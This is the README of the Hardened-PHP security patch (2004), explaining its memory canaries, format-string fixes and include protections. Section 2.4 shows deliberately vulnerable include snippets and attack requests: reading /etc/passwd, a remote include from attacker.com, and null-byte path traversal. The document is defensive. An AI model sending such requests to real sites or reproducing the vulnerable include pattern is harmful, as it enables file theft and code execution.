summaryrefslogtreecommitdiff
path: root/0.1.1/README
blob: 0cb3c56f8aed87ceafeae59525a596140c7b298d (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
------------------------------------------------------------------------

    _  _                _                     _       ___  _  _  ___ 
   | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \
   | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/
   |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|  
                                                         

--[ Contents ]----------------------------------------------------------

1 - Introduction
  1.1 - What is Hardened-PHP
  1.2 - Hardened-PHP's history
  1.3 - Hardened-PHP's features
  1.4 - Installing Hardened-PHP

2 - The potential security problems
  2.1 - Zend memory management
  2.2 - Zend linked lists
  2.3 - Format string functions
  2.4 - Includes
    2.4.1 - Remote includes
    2.4.2 - Uploaded files
    2.4.3 - String cuts
    2.4.4 - Overlong filenames
 
3 - The Implementation
  3.1 - System compatibility
  3.2 - Script compatibility
  3.3 - Speed impact
  3.4 - Memory Usage

Appendix A - Project information

Appendix B - Hardened-PHP signature key


--[ 1 - Introduction ]--------------------------------------------------

PHP is still the most popular script language and therefore used on
millions of webservers around the globus. Because of this worldwide
distribution it is vital that PHP scripts and the PHP engine itself are 
made resistent against security exploits. 

The Hardened-PHP project was launched to ensure this.

----[ 1.1 - What is Hardened-PHP ]--------------------------------------

Hardened-PHP adds security hardening features to PHP to protect your 
servers on the one hand against a number of well known problems in 
hastily written PHP scripts and on the other hand against potential 
unknown vulnerabilities within the engine itself.

----[ 1.2 - Hardened-PHP's history ]------------------------------------

The idea to create a patched version of PHP which is resistent against
a lot of attacks is maybe as old as PHP itself. In 2002 a few people
from OpenBSD users created the PHP auditing project after I released
my advisories aboute remote holes in PHP. The whole project was not
really successfull. It seemed quite uncoordinated and the people all
lost their interest because they never found anything. In the months
since then I found several remote vulnerabilities in PHP before they
could make it into a release version. However the codebase is quite
large and therefore I decided to create Hardened-PHP. The project was
pulled back several times because of lack of time.

This was until the 17th of April 2004 when I released the first 
version of Hardened-PHP which had already most of the features wanted
for the first step. The project was not publicly announced until some
stranger submitted a story about Hardened-PHP to symlink.ch. This was
bringing some visitors to the page which was infact a ugly page with
nearly no information, and no documentation.

A month later at the 16th May 2004 the website was redesigned. Nothing
professional but good enough for a start. Additionally this document
was released in its first version to have a basic documentation. On the
same day the Hardened-PHP 0.1.1 was released with just some small fixes
for PHP and the patch itself.

----[ 1.3 - Hardened-PHP's features ]-----------------------------------

Hardened-PHP provides:

+ Protection of the Zend Memory Manager with canaries
+ Protection of Zend Linked Lists with canaries
+ Protection against internal format string exploits
+ Protection against arbitrary code inclusion
+ Syslog logging of attackers IP

Hardened-PHP advertises itself as Hardened-PHP/x.y.z if you are running
it as Apache module and have expose_php turned on. 

----[ 1.4 - Installing Hardened-PHP ]-----------------------------------

The process of installing a hardened PHP starts with downloading the
PHP version supported by the current version of Hardened-PHP from

        http://www.php.net/downloads.php

After downloading the tarball into your temporary installation directory
(f.e. /home/install) it is recommended that you check the md5sum of the 
file before you continue. If the hash is correct you can start unpacking
the tarball by issuing the command:

        tar xfz php-x.y.z.tar.gz  

Now download the Hardened-PHP patch (and it's GPG signature) from 

        http://www.hardened-php.net/download.php
        
After checking the signature with GPG you can unpack and apply the patch

        gunzip hardened-php-x.y.z-a.b.c.patch.gz
        cd php-x.y.z
        patch -p 1 < ../hardened-php-x.y.z-a.b.c.patch
        
From here follow the PHP manual howto install it ony your platform.


--[ 2 - The potential security problems ]-------------------------------

Because the featurelist of Hardened-PHP is quite cryptic for someone not
into PHP and/or not into security, this chapter will provide an intro-
duction into the problems that could arise if certain structures are
overwritten or certain functions are used in an unsafe way.

----[ 2.1 - Zend memory management ]------------------------------------

When memory is allocated within PHP this is done with emalloc(). This
function is a wrapperfunction for malloc() which implements (beside
some things like a cache for small blocks) a double linked list of
allocated memory blocks. This list is needed to free all allocated 
memory at the end of request.

       zend_mem_header                     emalloc() allocates more
                                           memory than requested because
    31  30             0                   it has to add 3 header fields
     +-----------------+                   to the beginning of the block
     |    p P r e v    |                   
     +-----------------+                   It should be obvious that an
     |    p N e x t    |                   overflow into this memory 
     +---+-------------+                   will first overwrite the 
     | C +   s i z e   |                   pPrev and pNext fields which
     +---+-------------+  <--- returned    are the forward and backward
     |                 |       pointer     pointers in the linked list
     |                 |                   of allocated memory block.
     |                 |                   Imagine you are able to 
     |                 |                   overwrite these fields...
     .                 .                   
     .     d a t a     .                   What could actually happen
     .                 .                   to this memoryblock?
     |                 |                   It could either be efree()ed
     |                 |                   or erealloc()ed. In both
     |                 |                   cases the block is taken off
     |                 |                   linked list.
     +-----------------+                   
                                           
The remove operation is the standard linked list unlink common to many
implementations of double linked lists.

      p->pPrev->pNext = p->pNext  AND  p->pNext->pPrev = p->pPrev
     
This allows to overwrite nearly arbitrary addresses with nearly 
arbitrary values if you control p->pPrev and p->pNext, which can lead
to a code execution exploit.

When Hardened-PHP is activated it will add so called canaries to the
beginning and the end of each allocated block. These canaries are no
birds but 32bit wide values which are randomly generated when the
memory manager is started. Whenever the block is reallocated or freed
the memory manager will check if the canary values have changed. This
is sufficient to protect the unlink operations because an attacker 
cannot guess the random values.

Hardened-PHP uses 2 canaries because this protects against an overflow
into emalloc()ed memory AND against an overflow out of such a block.

Important: It is necessary to know that 3rd party libraries used by
PHP will NOT use emalloc() but malloc() directly. This means that heap
overflows could be still exploitable under some conditions. But this
check is good enough to ensure that it is not the PHP memory that is
abused to execute arbitrary code, which is good news because some libc
versions have very hard/or impossible to exploit implementations of
malloc(). On those systems heap overflows in PHP would be easily
exploitable if Hardened-PHP is not activated.

----[ 2.2 - Zend linked lists ]-----------------------------------------

Many internal functions within PHP make use of zend linked lists. These
lists have a structure which is also very vulnerable to overflows. If
an attacker would be able cause PHP to overflow a part of memory that
contains a linked list descriptor structure it would be possible to
overwrite the stored pointer to the linked list dtor() with a pointer
to any memory address. This would allow code execution when the list
is destructed.

Hardened-PHP adds canaries in front of the list descriptor structure
to protect it against an overflow. Additionally a canary is added to 
the end because sometimes the descriptors are stored in stack and the
overflow would come from the other side. Because linked list elements
are always in heap they only get a prefixed canary.

Whenever an operation is performed on the linked list descriptor or
one of its elements the canaries will get checked and when an overflow
is detected the script will be aborted.

----[ 2.3 - Format string functions ]-----------------------------------

For a few years it is now known that format string functions can be
abused if the format string is user supplied. This is because the %n
specifier allows to write any values to arbitrary memory addresses.
PHP comes with its own implementation of snprintf() and a memory self
allocating variant spprintf(). Both functions implement the %n specifier
which is not uses at all within PHP. 

Hardened-PHP when activated removes the %n specifier from the internal
snprintf() and spprintf() functions. Additionally a macro is set to
replace all calls to the libc snprintf() with the PHP own version. This
means, that if someone adds a format string bug to PHP in the future,
it won't be exploitable. (Only if he makes the mistake in snprintf()
or spprintf() - protecting sprintf() is on the todo list)

----[ 2.4 - Includes ]--------------------------------------------------

Like many other languages PHP allows to include other source files into
the main script. This is done at execution time and even allows to
include files on remote systems, which can become a huge security risk
if the include statements are not protected in a proper way. Actually
this is the most often used entrypoint of hackers when they succeed in
hacking a site running a vulnerable PHP script.

Hardened-PHP includes countermeasures for the most often seen mistakes.

------[ 2.4.1 - Remote includes ]---------------------------------------

A script like

<?php
	include $_REQUEST['aktion'];
?>

allows the user to supply any filename to the include statement from the
outside. This means he can simply request

        /vuln.php?aktion=/etc/passwd
        
to see your password file in his browser. It is obvious that an attacker
who knows a way to embed PHP code into a file on your server will be
able to execute it through this statement. (Examples are logfiles or
session files). What is maybe new to any PHP beginner is that there is
a feature called fopen_wrappers which allows to include a file from a
remote system. This means if this feature is activated (which is the
default setting) he may request

        /vuln.php?aktion=http://attacker.com/his_code.dat
        
which includes any code of his choice. It is more than obvious that this
feature can be a great security risk for any site that runs code written
by PHP beginners but disabling this feature could also be a bad idea.
This is because PHP does not allow to disable remote includes separately
from remote file support for the other file access functions.

If Hardened-PHP is activated it will disallow any include filename that
looks like an URL and will log the attempt to syslog. Any URL is maybe
to strict and will be relaxed in a future version. The strict rule is
the reason why the fopencookie() regression test fails when Hardened-PHP
is running.

------[ 2.4.2 - Uploaded files ]----------------------------------------

If the previous example is rewritten to make use of register_globals

<?php
	include $aktion;
?>

another not so well known way to include arbitrary code is possible.
This can be used if fopen_wrappers is turned off but register_globals
and file_uploads are turned on. In such a situation it is suffient to
perform a post fileupload to the vulnerable script with aktion as name
of the file variable. Because register_globals is turned on the variable
$aktion will contain the temporary filename of the uploaded file. Of
course this can contain arbitrary PHP code that would get executed
under this circumstances.

Hardened-PHP will stop such attacks because it does not allow including
an uploaded file. Like with all violations it will get logged to syslog.

------[ 2.4.3 - String cuts ]-------------------------------------------

Many PHP programmers believe it is sufficient to pre- and postfix some
controlled values to the userinput to completly protect an include-
statement. That this assumption is wrong can be seen in this example:

<?php
        include "templates/".$_REQUEST['template'].".tmpl";
?>

The author of this code thinks that it is safe to include any file with
a .tmpl extension on the system. While this maybe is true he forgets
(or simply does not know) that PHP strings are binary safe, which means
that anywhere within the userinput could be an ascii NUL char. For the
underlying filesystem function this is considered as string terminator,
which means, that a request for

	/vuln.php?template=../../../../../../../etc/passwd%00
	 
would infact include the /etc/passwd file because the %00 will truncate
the extension ".tmpl" from the rest of the string. (This is only valid
if magic_quotes_gpc is turned off)

To protect against such attacks Hardened-PHP checks if the stringlength
seen by the filesystem functions is equal to the binarysafe length. If
they differ the file is not included and the attack is logged.

------[ 2.4.4 - Overlong filenames ]------------------------------------

When including a file Hardened-PHP checks that the supplied filename
does not exceed the maximum path length. This is done because it doesn't
add much overhead (for string cut protection we need strlen() anyway),
but could protect against bufferoverflow attacks on the underlying 
filesystem functions. If a filename triggers this check it will be
logged to syslog.


--[ 3 - The implementation ]--------------------------------------------

This chapter discusses the compatibility, speed and memory issues which
are caused by applying the Hardened-PHP patch.

----[ 3.1 - System compatibility ]--------------------------------------

Hardened-PHP is mainly developed on linux systems. This means new 
versions may not compile on your operating system. I strongly recommend
reporting such problems to the Hardened-PHP users mailinglist.

----[ 3.2 - Script compatibility ]--------------------------------------

Hardened-PHP passes the PHP 'make test' regression tests with the
exception of the fopencookie() test. This is not caused by a bug within
the implementation but by design of the include() protection feature. 
At the time of writing this document Hardened-PHP simply forbids all 
stream includes to protect against remote file inclusion. Without this 
feature the fopencookie() test cannot work and therefore fails.

Future versions of Hardened-PHP will partly restore stream inclusion
support, to work around this limitation.

----[ 3.3 - Speed impact ]----------------------------------------------

It is believed that the few additional clock cycles spent on the extra
sanity checks are marginal in comparison to the overhead which is caused
by the protected functions within the memory management and filesystem
access functions.

A complete benchmark will be added to this section once it is achieved.

----[ 3.4 - Memory usage ]----------------------------------------------

Hardened-PHP adds canary protection to every allocated block of memory,
to every linked list and to every linked list element. Additional every
request remembers the triggering IP address. Combined this means an
increased of used memory.

This section will be filled with a memory usage benchmark in the future.


--[ Appendix A - Project information ]----------------------------------

At the time of writing Hardened-PHP is hosted on Sourceforge.

The official homepage of Hardened-PHP is:

http://www.hardened-php.org

and the Sourceforge project page is reachable under:

http://www.sourceforge.net/projects/hardened-php

You can reach me (the author) directly through the email address
sesser@php.net . When writing to this address please include the string
Hardened-PHP in the subject line due to the amount of spam.

You can use this address also to donate money to the project via Paypal.


--[ Appendix B - Hardened-PHP signature key ]---------------------------

To ensure authenticity of Hardened-PHP releases they are signed 
with the following GPG key:

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

mQGiBECBdjoRBAC5HMCaoPx30w6N4JLx09RfBLx6bo0//JWAaJKpjpvW1FviFNYs
PXkyGrcrhhVxoh5dC8ByQgWSbT8XMpUv5tPQNwxO0ITbbAU9ipgg5BVDfc82/XaK
Jr1jq243EQJN7rsce6PF13LIoxQ+LBdYHY6vw9a+9/IO5LMjNw7zW+5pswCg8M0Q
2jnKZaIAhVCS27LJaUQaL68EAIl6I19HRE7RTJbhY0ZIrKGUKfx+KX0gHb8kXu6q
WV5fmtO5fH34TrojhgUqBayLtwsxtXr+8QBMz0XNRDuebja8ZaVyLTx+EpI8Dyfm
ob7vzlS3qJoNrW3h1kse50r/ilm87aB0JP6vwPlZDPC1lu2ZAGSUYEHml5dOmyCi
5Z8tBACKFry60HlvWQzbnHCSSyMTIcagMnkVuyDDIR63RAqhEmyE7GXh2sYh6aPt
AWag9ADQVFvTBhx+ssU5gpPahJr29QTrC4VCNTaO03O16qLmqkTKWHZCZbd4EPTg
trswDZc1PLVwbP0j5RlH8/tQrbY9lMtuS5rUxtaFCLw4ZPWrh7QaSGFyZGVuZWQt
UEhQIFNpZ25hdHVyZSBLZXmIXQQTEQIAHQUCQIF2OgUJAeEzgAULBwoDBAMVAwID
FgIBAheAAAoJEEQ5FMwKhkqhSPAAnjXReigGNJXBsoX7z8/EvthX0cTIAJ9cSPil
WwaTl2vtz7kyguZzRpZz8rkBDQRAgXY8EAQApLYBh8UCMUhDy5bR6Oj4vhMY6cJ4
pIvwuaHbTXauBXS8UV5MwWvf/qcecM61Qe9SlZqWDTfT47tLgtR16PxmVhPJtQxH
aRkrxXTKDu9P1evD1zX61/eNhDZw9+MPYMokxZMYS94s5uv/upKZZwu8XzdJtrK3
YtaNAMn3tXQUKZMAAwUD/ieRxef28ZZ68emOe8KNfd5GP+8Ym7dkiidPBRLqgGmf
V9AZbMdA2F8VfLuD6B5T5Lj9J35eTKijwLHDD5svl+2zPOSEtUB8mUVp2765kqeb
jFW7WteKB9pEq59mfgHW5p5gnu66Fh5bggf8rKELj+0hw44F0IEXCQwyHlJ/3lQS
iEwEGBECAAwFAkCBdjwFCQHhM4AACgkQRDkUzAqGSqG/wwCg7LlZpWdRL5QgUms5
VVh+fdpHgPIAn3SIXWtsAS2T0Z0V6pjhSQz30ams
=Gq1L
-----END PGP PUBLIC KEY BLOCK-----